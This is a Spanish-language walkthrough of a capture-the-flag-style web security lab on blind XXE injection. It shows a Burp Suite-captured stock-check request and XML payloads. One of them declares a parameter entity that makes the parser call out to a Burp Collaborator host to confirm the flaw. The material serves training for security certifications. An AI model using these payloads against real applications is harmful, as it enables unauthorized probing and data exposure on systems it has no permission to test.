XXE Injection Lab 4
Skills
- Blind XXE with out-of-band interaction via XML parameter entities
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio tiene una función de Check stock
que analiza la entrada XML, pero no muestra valores inesperados
y bloquea
las solicitudes
que contienen entidades externas regulares
. Para resolver el laboratorio, debemos utilizar una entidad
de parámetro
para que el analizador XML
realice una búsqueda DNS
y una solicitud HTTP
a Burp Collaborator
Resolución
Al acceder
a la web
nos sale esto
Si pulsamos en View details
veremos la descripción
del artículo
Si pulsamos en Check stock
y capturamos
la petición
con Burpsuite
vemos que se está tramitando un XML
Vamos a insertar un DTD (Document Type Definition)
y a comprobar
si es vulnerable
a XXE
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe "Doe"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
La da un error
al enviar
la petición
, esto se debe a que no
podemos llamar
a una entidad
desde los campos existentes, en este caso la entidad
declarada es xxe
Nos vamos a Burpsuite Collaborator
y pulsamos en Copy to clipboard
, este dominio obtenido lo vamos a usar para construir este payload
, el %
sirve para llamar
a la entidad
desde el DTD
creado
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://lqfvrsm0rxqxty3gudtykjjoifo6cx0m.oastify.com"> %xxe; ]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
Nos vamos a Burpsuite Collaborator
y observamos que hemos obtenido respuesta